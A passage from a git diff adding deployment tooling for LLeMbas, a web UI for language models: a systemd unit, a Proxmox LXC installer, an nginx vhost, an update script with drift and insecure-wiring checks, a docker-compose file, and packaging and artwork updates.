+# `install.sh` puts a root-owned copy here instead. Improving the script means
+# re-running the installer, which is the right cost.
+ExecStart=/bin/bash __UPDATE_HELPER__
+# The script's own failure path prints the journal and exits non-zero, which is
+# what makes `systemctl status lembas-update` say what went wrong.
+StandardOutput=journal
+StandardError=journal
+TimeoutStartSec=600

deploy/lembas.service

@@ -0,0 +1,54 @@
+# LLeMbas system service template.
+#
+# install.sh substitutes __PREFIX__ and __SERVICE_USER__ and writes the result
+# to /etc/systemd/system/lembas.service. Edit this file, not the installed copy.
+#
+# A system unit, not a user unit, so it survives logout and comes up at boot
+# without anyone signing in.
+
+[Unit]
+Description=LLeMbas - web UI for language models
+After=network-online.target
+Wants=network-online.target
+# The prefix is usually a bind mount; the venv and database live there, so
+# starting before it is mounted would create an empty database in its place.
+RequiresMountsFor=__PREFIX__
+
+[Service]
+Type=simple
+User=__SERVICE_USER__
+Group=__SERVICE_USER__
+WorkingDirectory=__PREFIX__/app
+EnvironmentFile=__PREFIX__/lembas.env
+ExecStart=__PREFIX__/venv/bin/lembas serve
+Restart=on-failure
+RestartSec=5
+
+# The bind address comes from LEMBAS_HOST in the environment file, which the
+# installer sets to 127.0.0.1: reachable through nginx, never directly.
+
+# --- Hardening -------------------------------------------------------------
+# Agent chats run their commands over SSH, on a machine somebody chose and
+# prepared -- a container, a VM, another host. Nothing an agent does executes
+# here, which is what lets this stay locked down rather than being opened up to
+# make room for a sandbox.
+#
+# ProtectSystem stays `full` rather than `strict` only because the data
+# directory has to be writable and `strict` would need every path spelled out.
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectSystem=full
+ProtectKernelTunables=yes
+ProtectControlGroups=yes
+RestrictSUIDSGID=yes
+ReadWritePaths=__PREFIX__
+LimitNOFILE=65535
+
+# Bounds on the service as a whole. Not aimed at anything in particular; a web
+# application that has grown a habit of holding network connections open is
+# worth a ceiling.
+TasksMax=2048
+MemoryMax=8G
+
+[Install]
+WantedBy=multi-user.target

deploy/lxc-install.sh

@@ -0,0 +1,156 @@
+#!/usr/bin/env bash
+# Create a Debian LXC container on a Proxmox host and install LLeMbas in it.
+#
+# A **wrapper around what already works**, not a second install path. It makes a
+# container, puts the dependencies in it, and runs `deploy/install.sh` inside --
+# which is the same script, doing the same things, so a fix to the installer
+# reaches this without anybody remembering. A parallel installer would be two
+# things to keep correct and one of them would rot.
+#
+# Run this on the Proxmox host, as root:
+#
+#   CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
+#
+# Everything is overridable:
+#
+#   CTID            next free id      the container's id
+#   CT_HOSTNAME     lembas            hostname inside it
+#   CT_STORAGE      local-lvm         where the rootfs goes
+#   CT_TEMPLATE     debian-12         template, matched against pveam list
+#   CT_DISK         12                GB
+#   CT_CORES        2
+#   CT_MEMORY       4096              MB
+#   CT_BRIDGE       vmbr0
+#   CT_IP           dhcp              or 192.168.1.50/24
+#   CT_GATEWAY      (unset)           required when CT_IP is static
+#   REPO_URL        this checkout's origin
+#   SITE_HOST       lembas.local
+#
+# **Unprivileged, and that is not a default to change lightly.** Nothing LLeMbas
+# does needs privilege: agent chats run their commands over SSH on some *other*
+# machine, which is the whole isolation story. A privileged container would give
+# up the host's protection to buy nothing.
+set -euo pipefail
+
+CT_HOSTNAME="${CT_HOSTNAME:-lembas}"
+CT_STORAGE="${CT_STORAGE:-local-lvm}"
+CT_TEMPLATE="${CT_TEMPLATE:-debian-12}"
+CT_DISK="${CT_DISK:-12}"
+CT_CORES="${CT_CORES:-2}"
+CT_MEMORY="${CT_MEMORY:-4096}"
+CT_BRIDGE="${CT_BRIDGE:-vmbr0}"
+CT_IP="${CT_IP:-dhcp}"
+CT_GATEWAY="${CT_GATEWAY:-}"
+SITE_HOST="${SITE_HOST:-lembas.local}"
+BRANCH="${LEMBAS_BRANCH:-main}"
+
+HERE="$(dirname "$(readlink -f "$0")")"
+REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
+
+if ! command -v pct >/dev/null; then
+  echo "pct not found. Run this on a Proxmox host." >&2
+  exit 1
+fi
+if [[ -z "$REPO_URL" ]]; then
+  echo "Could not determine REPO_URL. Set it explicitly." >&2
+  exit 1
+fi
+
+CTID="${CTID:-$(pvesh get /cluster/nextid)}"
+
+# The template has to be on the host before a container can be made from it.
+# Matched by prefix rather than pinned to a filename, because the point release
+# in it moves and a hard-coded name would break on a host that downloaded a
+# different one.
+echo "== template =="
+template=$(pveam list local 2>/dev/null | awk -v want="$CT_TEMPLATE" '$1 ~ want {print $1}' | head -1)
+if [[ -z "$template" ]]; then
+  available=$(pveam available --section system | awk -v want="$CT_TEMPLATE" '$2 ~ want {print $2}' | tail -1)
+  if [[ -z "$available" ]]; then
+    echo "No template matching '$CT_TEMPLATE'. Try: pveam available --section system" >&2
+    exit 1
+  fi
+  echo "   downloading $available"
+  pveam download local "$available"
+  template="local:vztmpl/$available"
+fi
+echo "   $template"
+
+echo "== container $CTID =="
+if pct status "$CTID" >/dev/null 2>&1; then
+  echo "   $CTID already exists, using it"
+else
+  net="name=eth0,bridge=$CT_BRIDGE,ip=$CT_IP"
+  [[ -n "$CT_GATEWAY" ]] && net="$net,gw=$CT_GATEWAY"
+  pct create "$CTID" "$template" \
+    --hostname "$CT_HOSTNAME" \
+    --cores "$CT_CORES" \
+    --memory "$CT_MEMORY" \
+    --rootfs "$CT_STORAGE:$CT_DISK" \
+    --net0 "$net" \
+    --unprivileged 1 \
+    --features nesting=1 \
+    --onboot 1
+  echo "   created"
+fi
+
+pct start "$CTID" 2>/dev/null || true
+# `pct exec` returns before the container's own network is up, and the very next
+# thing this does is apt-get. Waiting on DNS resolving rather than on a fixed
+# sleep, because a fixed sleep is either too short on a slow host or wasted on a
+# fast one.
+echo "== waiting for the network =="
+for _ in $(seq 1 30); do
+  pct exec "$CTID" -- getent hosts deb.debian.org >/dev/null 2>&1 && break
+  sleep 2
+done
+
+echo "== dependencies =="
+pct exec "$CTID" -- bash -lc '
+  set -e
+  export DEBIAN_FRONTEND=noninteractive
+  apt-get update -qq
+  apt-get install -y -qq --no-install-recommends \
+    git python3 python3-venv python3-pip nginx openssl sudo ca-certificates
+'
+
+echo "== checkout =="
+pct exec "$CTID" -- bash -lc "
+  set -e
+  rm -rf /tmp/lembas-src
+  git clone --quiet --branch '$BRANCH' '$REPO_URL' /tmp/lembas-src
+"
+
+# The same installer this repository ships, run inside. Everything it decides --
+# the service user, the prefix, the unit, the vhost, the self-signed certificate
+# -- it decides there, so this script has no opinions to keep in step with it.
+#
+# The update helper is **on by default here**, and only here. `install.sh`
+# defaults it off because it cannot know what it is installing onto: on a shared
+# or long-lived host, letting anybody who can administer the web interface
+# deploy as root is a decision somebody should make on purpose. A container
+# created by this script thirty seconds ago is not that host -- it exists to run
+# LLeMbas and nothing else, whoever ran this owns the hypervisor, and an
+# appliance you cannot update without a shell is an appliance nobody updates.
+#
+# Set INSTALL_UPDATE_HELPER=0 to opt back out.
+INSTALL_UPDATE_HELPER="${INSTALL_UPDATE_HELPER:-1}"
+LEMBAS_CHANNEL="${LEMBAS_CHANNEL:-stable}"
+
+echo "== install =="
+pct exec "$CTID" -- bash -lc "
+  set -e
+  SITE_HOST='$SITE_HOST' LEMBAS_BRANCH='$BRANCH' REPO_URL='$REPO_URL' \
+    INSTALL_UPDATE_HELPER='$INSTALL_UPDATE_HELPER' \
+    LEMBAS_CHANNEL='$LEMBAS_CHANNEL' \
+    bash /tmp/lembas-src/deploy/install.sh
+"
+
+address=$(pct exec "$CTID" -- hostname -I 2>/dev/null | awk '{print $1}')
+echo
+echo "LLeMbas is installed in container $CTID."
+echo "  address : ${address:-unknown}"
+echo "  site    : https://$SITE_HOST  (self-signed; accept the warning)"
+echo
+echo "Point '$SITE_HOST' at ${address:-the container} in your DNS or hosts file,"
+echo "then create the first account -- it becomes the administrator."

deploy/nginx-vhost.conf

@@ -0,0 +1,88 @@
+# nginx vhost template for LLeMbas.
+#
+# install.sh substitutes __SITE_HOST__ and __APP_PORT__ and writes the result to
+# /etc/nginx/conf.d/<host>.conf. Edit this file, not the installed copy.
+#
+# Assumes a self-signed certificate at /etc/nginx/ssl/<host>.{crt,key}, which
+# install.sh generates. To use a real certificate, point ssl_certificate at it;
+# nothing else here needs to change.
+
+# The terminal panel is a WebSocket, and a proxy that does not pass an upgrade
+# through breaks it with no error either side can report -- the browser sees a
+# failed handshake, which carries no status and no reason. This map yields
+# "upgrade" only when the client asked for one and the empty string otherwise,
+# which is exactly what the streamed-reply case below needs, so one `location`
+# serves both. `conf.d/*.conf` is included inside `http {}`, where `map` is
+# legal; the name is prefixed because two vhosts from this template would
+# otherwise collide.
+map $http_upgrade $lembas_connection_upgrade {
+    default upgrade;
+    ''      '';
+}
+
+server {
+    listen 80;
+    listen [::]:80;
+    server_name __SITE_HOST__;
+    return 301 https://$host$request_uri;
+}
+
+server {
+    listen 443 ssl;
+    listen [::]:443 ssl;
+    http2 on;
+    server_name __SITE_HOST__;
+
+    ssl_certificate     /etc/nginx/ssl/__SITE_HOST__.crt;
+    ssl_certificate_key /etc/nginx/ssl/__SITE_HOST__.key;
+    ssl_protocols       TLSv1.2 TLSv1.3;
+
+    # File uploads land here once that feature exists; 0 = no limit.
+    client_max_body_size 0;
+
+    location / {
+        proxy_pass http://127.0.0.1:__APP_PORT__;
+        proxy_http_version 1.1;
+        proxy_set_header Host              $host;
+        proxy_set_header X-Real-IP         $remote_addr;
+        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
+        proxy_set_header X-Forwarded-Proto $scheme;
+
+        # Streamed replies are server-sent events. Every one of these matters:
+        # with buffering on (the default) nginx holds the whole reply and
+        # delivers it in one lump at the end, which is indistinguishable from
+        # streaming being broken.
+        proxy_buffering         off;
+        proxy_request_buffering off;
+        proxy_cache             off;
+        # SSE is plain HTTP/1.1 chunked and needs Connection left empty; the
+        # terminal is a real upgrade and needs it set. The map at the top of
+        # this file is what lets one location do both -- a hard-coded
+        # `Connection ""` here, which is what was here before, works for every
+        # streamed reply and silently breaks every terminal.
+        proxy_set_header Upgrade    $http_upgrade;
+        proxy_set_header Connection $lembas_connection_upgrade;
+
+        # A model can think for minutes before the first token. The default
+        # 60s read timeout would cut long generations off mid-sentence.
+        proxy_read_timeout 3600s;
+        proxy_send_timeout 3600s;
+    }
+
+    location /static/ {
+        proxy_pass http://127.0.0.1:__APP_PORT__;
+        proxy_set_header Host $host;
+        expires 1h;
+        add_header Cache-Control "public";
+    }
+
+    # The service worker must never be cached. A stale worker keeps serving a
+    # stale cache to every tab, and there is no way to tell it to stop. The
+    # application already sends no-store; this stops the proxy overriding it.
+    # /manifest.webmanifest needs nothing special and comes through location /.
+    location = /sw.js {
+        proxy_pass http://127.0.0.1:__APP_PORT__;
+        proxy_set_header Host $host;
+        add_header Cache-Control "no-store";
+    }
+}

deploy/update.sh

@@ -0,0 +1,227 @@
+#!/usr/bin/env bash
+# Pull the latest LLeMbas into the deployment and restart the service.
+#
+# Run this after pushing. It fetches, hard-resets the deployment checkout to the
+# remote branch, reinstalls dependencies if they changed, and restarts. Nothing
+# is ever edited in place under the deployment prefix, so a hard reset is safe
+# and avoids merge conflicts from a dirty tree.
+set -euo pipefail
+
+SERVICE_USER="${SERVICE_USER:-lembas}"
+PREFIX="${PREFIX:-/srv/lembas}"
+BRANCH="${LEMBAS_BRANCH:-main}"
+# `stable` deploys the newest release tag; `edge` deploys the branch tip. Stable
+# is the default because a branch tip is not a release -- following one means
+# deploying whatever was pushed five minutes ago. A host with no tags yet falls
+# back to the branch and says so, rather than refusing to update at all.
+CHANNEL="${LEMBAS_CHANNEL:-stable}"
+
+APP="$PREFIX/app"
+VENV="$PREFIX/venv"
+
+if [[ ! -d "$APP/.git" ]]; then
+  echo "No deployment at $APP. Run deploy/install.sh first." >&2
+  exit 1
+fi
+
+git_as() { sudo -u "$SERVICE_USER" git -C "$APP" "$@"; }
+
+before=$(git_as rev-parse HEAD)
+
+echo "== fetching =="
+# `--tags` and `--force`: without the first, the stable channel never learns
+# about a release; without the second, a tag that was moved -- which happens to a
+# release cut wrong -- is refused rather than updated, and the host sits on the
+# old one with no sign of why.
+git_as fetch --quiet --tags --force origin "$BRANCH"
+
+# What to land on. A release tag on stable, the branch tip on edge. The tag
+# pattern deliberately excludes anything with a suffix: `v1.1.0-rc1` sorts above
+# `v1.1.0` under git's version sort, so accepting it would step a stable host
+# onto a release candidate on the strength of a hyphen.
+target="origin/$BRANCH"
+if [[ "$CHANNEL" == "stable" ]]; then
+  # `|| true` is load-bearing under `set -euo pipefail`, and for two reasons:
+  # grep exits 1 when nothing matches -- which is every host until the first
+  # release is tagged -- and `head -1` closing the pipe early can hand grep a
+  # SIGPIPE. Either kills the script mid-update, after the fetch and before the
+  # reset, leaving the checkout fetched and unmoved with no error printed.
+  newest=$(git_as tag --list --sort=-v:refname \
+             | grep -E '^v?[0-9]+\.[0-9]+\.[0-9]+$' | head -1 || true)
+  if [[ -n "$newest" ]]; then
+    target="$newest"
+  else
+    echo "   no release tags yet; following $BRANCH instead"
+  fi
+fi
+echo "   channel $CHANNEL -> $target"
+
+if [[ "$target" == "origin/$BRANCH" ]]; then
+  # Stays on the branch, which is what this always did.
+  git_as reset --hard --quiet "$target"
+else
+  # Detached at the tag. A `reset --hard <tag>` while on `main` would move the
+  # local branch to it, which is a rewrite of a ref nobody asked to rewrite --
+  # and the deployment checkout is never developed in, so being at a commit
+  # rather than on a branch is the more honest state anyway.
+  git_as -c advice.detachedHead=false checkout --force --detach --quiet "$target"
+fi
+
+after=$(git_as rev-parse HEAD)
+
+if [[ "$before" == "$after" ]]; then
+  echo "   already at ${after:0:7}, nothing to pull"
+else
+  echo "   ${before:0:7} -> ${after:0:7}"
+  git_as --no-pager log --oneline "$before..$after" | sed 's/^/     /'
+fi
+
+# Cheap and idempotent; catches a dependency added since the last deploy.
+# The extras a deployment gets. `search` because DuckDuckGo is the default web
+# search provider and is meant to need no setup; `ssh` because agent chats reach
+# their machine over it and a deployment without it offers the feature with an
+# install hint instead. Listed here AND in install.sh -- an extra added to only
+# one of them means existing deployments silently miss it.
+LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
+echo "== dependencies =="
+sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
+
+# The unit is NOT reinstalled automatically. An installed unit usually carries
+# host-specific lines the template cannot know about -- an ordering dependency
+# on whatever serves the models, a note about how the prefix is mounted -- and
+# overwriting those on every update would be a worse surprise than drifting.
+#
+# So this compares the *template* against the one last applied here, not the
+# template against the installed file. Comparing the files would warn forever
+# about the local lines, and a warning that always fires is one nobody reads.
+#
+# The drift is worth catching: a change in the unit can be what makes a release
+# work at all, and a host that pulled the code without it would run the new
+# version under the old settings and fail confusingly.
+# This script itself, first, because root is running a copy of it.
+#
+# `install.sh` puts a root-owned copy outside the checkout and points the unit
+# there -- root must not execute a file the unprivileged service account can
+# write, nor one that an update just fetched. The cost of that is exactly this:
+# the copy can fall behind what the checkout ships, silently, and the way to
+# notice is to compare.
+#
+# `$0` is the copy being run; `$APP/deploy/update.sh` is what was just pulled.
+self=$(readlink -f "$0")
+if [[ "$self" == "$(readlink -f "$APP")"/* ]]; then
+  # The old wiring, and the one that matters: the unit points *into the
+  # checkout*, so root is executing a file the unprivileged service account
+  # owns and that every update overwrites. Fires on exactly the hosts installed
+  # before this was fixed, and never afterwards.
+  echo "== update helper: INSECURE WIRING ==" >&2
+  echo "   This unit runs $self as root, and that file is owned by" >&2
+  echo "   $SERVICE_USER -- the account the web application runs as. Anything" >&2
+  echo "   able to write as that account can rewrite it and be root, and so" >&2
+  echo "   can whoever controls the branch this host follows." >&2
+  echo "   Fix by re-running the installer, which moves root's copy out:" >&2
+  echo "     cd $APP && sudo INSTALL_UPDATE_HELPER=1 ./deploy/install.sh" >&2
+elif [[ -f "$APP/deploy/update.sh" ]]; then
+  running_helper=$(sha256sum "$self" | cut -d' ' -f1)
+  shipped_helper=$(sha256sum "$APP/deploy/update.sh" | cut -d' ' -f1)
+  if [[ "$running_helper" != "$shipped_helper" ]]; then
+    echo "== update helper ==" >&2
+    echo "   deploy/update.sh has changed since this host's copy was installed." >&2
+    echo "   Re-run the installer to take it:" >&2
+    echo "     cd $APP && sudo INSTALL_UPDATE_HELPER=1 ./deploy/install.sh" >&2
+  fi
+fi
+
+STAMP="$PREFIX/.unit-applied"
+current=$(sha256sum "$APP/deploy/lembas.service" | cut -d' ' -f1)
+if [[ -f "$STAMP" && "$(cat "$STAMP")" != "$current" ]]; then
+  echo "== systemd unit ==" >&2
+  echo "   deploy/lembas.service has changed since it was last applied here." >&2
+  echo "   Review it and merge by hand, keeping this host's own lines:" >&2
+  echo "     diff /etc/systemd/system/lembas.service <(sed \\" >&2
+  echo "       -e 's|__PREFIX__|$PREFIX|g' -e 's|__SERVICE_USER__|$SERVICE_USER|g' \\" >&2
+  echo "       $APP/deploy/lembas.service)" >&2
+  echo "   Then: sudo systemctl daemon-reload && sudo systemctl restart lembas" >&2
+  echo "   And record it as applied: echo $current | sudo tee $STAMP" >&2
+elif [[ ! -f "$STAMP" ]]; then
+  # First run after this check was added. Assume what is installed is current;
+  # there is nothing to compare against and crying wolf on every host once is
+  # not worth it.
+  echo "$current" | sudo tee "$STAMP" >/dev/null
+fi
+
+# The same argument for the vhost, and the failure is worse. A stale unit at
+# least says something in the journal; a stale vhost breaks a feature two layers
+# away, and the only symptom is a panel that says it could not connect. The
+# terminal is a WebSocket, and a `location` that does not pass an upgrade
+# through fails every handshake while every test in the suite still passes.
+VHOST_STAMP="$PREFIX/.vhost-applied"
+vhost_now=$(sha256sum "$APP/deploy/nginx-vhost.conf" | cut -d' ' -f1)
+
+site_host=""; app_port=""
+# Written by install.sh, and absent on every deployment that predates it --
+# which is the case that most needs the one-time check below, so the port is
+# recovered from the environment file and the vhost found by what it proxies to.
+# Guessing "your-host" instead would have skipped the check on exactly the hosts
+# it was added for.
+# **Parsed, never sourced.** `.deploy-env` is written by the installer with
+# `sudo tee`, so the file is root-owned -- but `$PREFIX` is the service
+# account's own directory, mode 755, and write permission on a directory is all
+# it takes to unlink a file and put another one there. `.` would have run its
+# contents as root, and this script is root-triggerable by anyone who can create
+# one file in `$PREFIX/data` -- which is that same account. Two keys, two
+# patterns, and anything else in the file is ignored rather than executed.
+if [[ -f "$PREFIX/.deploy-env" ]]; then
+  site_host=$(sed -n 's/^SITE_HOST=\([A-Za-z0-9._-]\{1,253\}\)$/\1/p' \
+                "$PREFIX/.deploy-env" | tail -1)
+  app_port=$(sed -n 's/^APP_PORT=\([0-9]\{1,5\}\)$/\1/p' \
+               "$PREFIX/.deploy-env" | tail -1)
+fi
+if [[ -z "$app_port" && -f "$PREFIX/lembas.env" ]]; then
+  app_port=$(sed -n 's/^LEMBAS_PORT=//p' "$PREFIX/lembas.env" | tail -1)
+fi
+app_port="${app_port:-8080}"
+
+installed_vhost=""
+if [[ -n "$site_host" && -f "/etc/nginx/conf.d/$site_host.conf" ]]; then
+  installed_vhost="/etc/nginx/conf.d/$site_host.conf"
+else
+  installed_vhost=$(grep -ls "proxy_pass http://127.0.0.1:$app_port" \
+                      /etc/nginx/conf.d/*.conf 2>/dev/null | head -1)
+fi
+
+vhost_stale=""
+if [[ -f "$VHOST_STAMP" ]]; then
+  [[ "$(cat "$VHOST_STAMP")" != "$vhost_now" ]] && vhost_stale="the template has changed"
+elif [[ -n "$installed_vhost" ]]; then
+  # First run with this check, so there is no stamp to compare against. Rather
+  # than assume what is installed is current -- which is what the unit check
+  # does, and would hide exactly the change this was added for -- look for the
+  # one thing that must be there. Everything else is left to the stamp.
+  grep -q 'lembas_connection_upgrade' "$installed_vhost" \
+    || vhost_stale="the installed vhost does not pass WebSocket upgrades through, so the terminal cannot connect"
+fi
+
+if [[ -n "$vhost_stale" ]]; then
+  echo "== nginx vhost ==" >&2
+  echo "   $vhost_stale." >&2
+  echo "   Review and reinstall it:" >&2
+  echo "     diff ${installed_vhost:-/etc/nginx/conf.d/your-host.conf} <(sed \\" >&2
+  echo "       -e 's|__SITE_HOST__|${site_host:-your-host}|g' -e 's|__APP_PORT__|$app_port|g' \\" >&2
+  echo "       $APP/deploy/nginx-vhost.conf)" >&2
+  echo "   Then: sudo nginx -t && sudo systemctl reload nginx" >&2
+  echo "   And record it as applied: echo $vhost_now | sudo tee $VHOST_STAMP" >&2
+elif [[ ! -f "$VHOST_STAMP" ]]; then
+  echo "$vhost_now" | sudo tee "$VHOST_STAMP" >/dev/null
+fi
+
+echo "== restart =="
+sudo systemctl restart lembas
+sleep 2
+
+if systemctl is-active --quiet lembas; then
+  echo "   lembas is running"
+else
+  echo "   lembas FAILED to start:" >&2
+  sudo journalctl -u lembas -n 30 --no-pager >&2
+  exit 1
+fi

docker-compose.yml

@@ -0,0 +1,57 @@
+# LLeMbas, and nothing else.
+#
+# Deliberately no reverse proxy in here. Which one to use, where the certificate
+# comes from and what else the host already serves are all decisions this file
+# cannot make -- and baking one in would mean anybody who already runs Caddy or
+# Traefik has to unpick it first. What this does is publish on loopback, which is
+# what a proxy on the same host proxies to.
+#
+# **TLS is not optional in practice.** The service worker and the microphone both
+# require HTTPS or localhost, so over plain http on a LAN address the app cannot
+# be installed and cannot dictate. See deploy/README.md.
+
+services:
+  lembas:
+    build: .
+    image: lembas:latest
+    restart: unless-stopped
+
+    environment:
+      # Generate once and keep it: rotating this signs every user out *and*
+      # makes stored upstream API keys unreadable, because they are encrypted
+      # with it. `lembas secret-key` prints one.
+      #
+      # Required with no default on purpose. A compose file with a key in it is
+      # a key in everybody's git history, and one that quietly generated a
+      # temporary one would lose every stored credential on the next restart.
+      LEMBAS_SECRET_KEY: ${LEMBAS_SECRET_KEY:?set LEMBAS_SECRET_KEY in .env}
+      LEMBAS_DATA_DIR: /data
+      LEMBAS_HOST: 0.0.0.0
+      LEMBAS_PORT: 8080
+      LEMBAS_LOG_LEVEL: ${LEMBAS_LOG_LEVEL:-info}
+      LEMBAS_ALLOW_SIGNUP: ${LEMBAS_ALLOW_SIGNUP:-true}
+
+    # 127.0.0.1 rather than 0.0.0.0: the session cookie is deliberately not
+    # marked `secure` so a localhost install can sign anybody in at all, which
+    # means a network attacker on plain http could steal a session. Publishing
+    # this on a LAN interface without a proxy in front is the one configuration
+    # that turns that from a note into a problem.
+    ports:
+      - "127.0.0.1:8080:8080"
+
+    volumes:
+      # The database, the uploads, the encryption at rest. A named volume rather
+      # than a bind mount so it survives `docker compose down` -- `down -v` is
+      # the command that deletes it, and that asymmetry is the point.
+      - lembas-data:/data
+
+    # One worker, and that is not a shortcut. The generation registry, the stop
+    # mechanism, the terminal sessions and the schedule ticker are all
+    # in-process; two of these would mean two tickers and every schedule firing
+    # twice. Scaling this service is not supported -- see PLAN.md's first known
+    # limit.
+    deploy:
+      replicas: 1
+
+volumes:
+  lembas-data:

pyproject.toml

@@ -4,7 +4,11 @@ build-backend = "hatchling.build"
 
 [project]
 name = "lembas"
-version = "0.1.0"
+# Read from lembas.__version__ rather than written here. Two copies drifted
+# three minor versions apart without anything noticing, because nothing reads
+# this one: the app, the service worker cache key and the page footer all read
+# the module. See [tool.hatch.version] below.
+dynamic = ["version"]
 description = "LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints"
 readme = "README.md"
 requires-python = ">=3.11"
@@ -30,8 +34,11 @@ dependencies = [
     "cryptography>=43.0",
     "markdown-it-py>=3.0",
     "mdit-py-plugins>=0.4",
+    "linkify-it-py>=2.0",  # bare URLs in model output become links
     "pygments>=2.18",
     "nh3>=0.2.18",
+    "pypdf>=5.1",     # PDF text extraction for attachments
+    "pillow>=11.0",   # image validation and downscaling for vision
     "typer>=0.12",
 ]
 
@@ -41,12 +48,26 @@ dev = [
     "pytest-asyncio>=0.24",
     "ruff>=0.7",
 ]
+# DuckDuckGo search. Optional because it brings a compiled HTTP client and an
+# XML parser with it, and the other two search providers need only httpx, which
+# is already a core dependency. Without this the provider is offered in the
+# admin UI with an install hint rather than silently missing.
+search = ["ddgs>=9.0"]
+# Agent chats, which run their commands on a machine reached over SSH. Optional
+# on the same terms as `search`: an instance that never turns agents on should
+# not carry the dependency, and one that does gets told how to install it rather
+# than finding the feature silently missing. `bcrypt` is what decrypts a
+# passphrase-protected OpenSSH key -- without it, pasting one fails opaquely.
+ssh = ["asyncssh[bcrypt]>=2.14"]
 
 [project.scripts]
 lembas = "lembas.cli:app"
 
 [project.urls]
-Homepage = "https://github.com/homer/LLeMbas"
+Homepage = "https://git.houmeres.sk/Houmeres/LLeMbas"
+
+[tool.hatch.version]
+path = "src/lembas/__init__.py"
 
 [tool.hatch.build.targets.wheel]
 packages = ["src/lembas"]
@@ -62,5 +83,13 @@ ignore = ["B008"]  # FastAPI Depends() in defaults is idiomatic
 
 [tool.pytest.ini_options]
 testpaths = ["tests"]
+# Registered so `-m "not slow"` works and an unknown-marker warning does not
+# become an error later. `slow` is for the tests that stand up something real:
+# a uvicorn subprocess on a port, an asyncssh server, a PTY, a git repository
+# built with subprocess. They are the ones worth having and the ones worth
+# being able to skip while iterating.
+markers = [
+    "slow: stands up a real server, shell or repository",
+]
 asyncio_mode = "auto"
 filterwarnings = ["ignore::DeprecationWarning"]

scripts/build_artwork.py

@@ -14,8 +14,14 @@ are extracted, as a static drawing -- no font binary is redistributed.
 This is a design-time tool. The application never imports it, and the generated
 files are committed. Re-run it only when the artwork itself changes:
 
-    pip install fonttools
+    pip install fonttools cairosvg
     python scripts/build_artwork.py
+
+cairosvg is needed only for the PWA icons, which have to be PNG: an installed
+web app's icon is drawn by the operating system's launcher, and neither
+Android's adaptive-icon masking nor iOS's home screen will take an SVG. The
+rasterisation happens here, once, and the PNGs are committed like everything
+else -- the running application still has no build step and no rasteriser.
 """
 
 from __future__ import annotations
@@ -35,6 +41,19 @@ except ImportError:  # pragma: no cover - design-time tool
 
 ROOT = Path(__file__).resolve().parent.parent
 ASSETS = ROOT / "assets"
+STATIC_IMG = ROOT / "src" / "lembas" / "web" / "static" / "img"
+
+# assets/ holds the design masters; the application serves its own copies from
+# static/. These are the few the running app actually needs.
+SERVED_BY_APP = (
+    "favicon.svg",
+    "logo-mark.svg",
+    "banner.svg",
+    "icon-192.png",
+    "icon-512.png",
+    "icon-maskable-512.png",
+    "apple-touch-icon-180.png",
+)
 
 FONT_SEMIBOLD = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-Semibold.otf")
 FONT_ITALIC = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-It.otf")
@@ -45,18 +64,26 @@ TAGLINE = "Waybread for the long road of thought"
 ACCENT_GLYPHS = frozenset({0, 1, 3})
 
 # --- Palette -----------------------------------------------------------------
-GOLD_LIGHT = "#EACB74"
+# The wafer is mallorn green because that is how lembas travels: wrapped in the
-GOLD = "#C9A227"
+# leaves, not bare. Green also leaves yellow free to mean one thing in the
-GOLD_DARK = "#916F13"
+# interface -- a warning -- instead of two.
-GOLD_SCORE = "#7A5C10"
+WAFER_LIGHT = "#7FB758"
-GOLD_HILIGHT = "#F6E3A8"
+WAFER = "#4C8C33"
-RUNE_GOLD = "#E0B252"
+WAFER_DARK = "#2A5522"
+WAFER_SCORE = "#1F4019"
+WAFER_HILIGHT = "#C7E7A6"
+# The brand green, matching --leaf in tokens.css. Type accent and the drifting
+# leaves on the banner.
+MALLORN = "#9BCC5A"
+MALLORN_DEEP = "#4C7A22"
 
-LEAF_EDGE = "#93A5B6"
+# The blade stays pale: a leaf the same green as the wafer it lies on has no
-LEAF_LIGHT = "#F1F6FA"
+# silhouette, and the silhouette is the whole mark at 16px.
-LEAF_MID = "#B8C7D5"
+LEAF_EDGE = "#9DB49A"
-LEAF_VEIN = "#61758A"
+LEAF_LIGHT = "#F3F8EE"
-LEAF_STEM = "#8A9AA8"
+LEAF_MID = "#C6D8BE"
+LEAF_VEIN = "#57734F"
+LEAF_STEM = "#8B9E86"
 
 NIGHT_TOP = "#080B0F"
 NIGHT_MID = "#101822"
@@ -66,22 +93,37 @@ INK = "#1B1F23"
 MUTED = "#9AA7B4"
 
 # --- The mallorn leaf --------------------------------------------------------
-# Drawn once, in a 64x64 box, and reused everywhere. Tuned so the silhouette
+# Drawn once, in a 64x64 box, and reused everywhere. The blade runs corner to
-# still reads as a leaf at 16px, where veins and score lines disappear.
+# corner and fills most of the tile, because at 16px the only thing that
+# survives is the outline: a small leaf on a large tile reads as a green square
+# with a smudge on it. Veins and the score line are detail-only for the same
+# reason.
+# Ovate, not lens-shaped: the widest point sits about a third up from the base,
+# the base is a rounded cusp where the stem meets it, and only the tip is drawn
+# out to a point. A blade pointed at both ends reads as an eye.
 LEAF_BLADE = (
-    "M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z"
+    "M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 "
+    "C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z"
 )
-LEAF_MIDRIB = "M20.5 45.5 C28 38 36 29 45.5 18.5"
+LEAF_MIDRIB = "M21 46 Q30.5 34.5 46 18"
-LEAF_STEM_PATH = "M21.2 44.8 L17 49.4"
+LEAF_STEM_PATH = "M21.4 45.6 L16.3 51.2"
+# Veins sweep towards the tip rather than leaving the midrib square-on, and
+# shorten as the blade narrows.
 LEAF_VEINS = [
-    "M26.9 38.8 Q25.2 35.8 24.9 32.1",
+    "M26.8 39.2 Q24.9 37.4 24.7 35.3",
-    "M32.3 33.1 Q30.9 30.3 30.4 26.9",
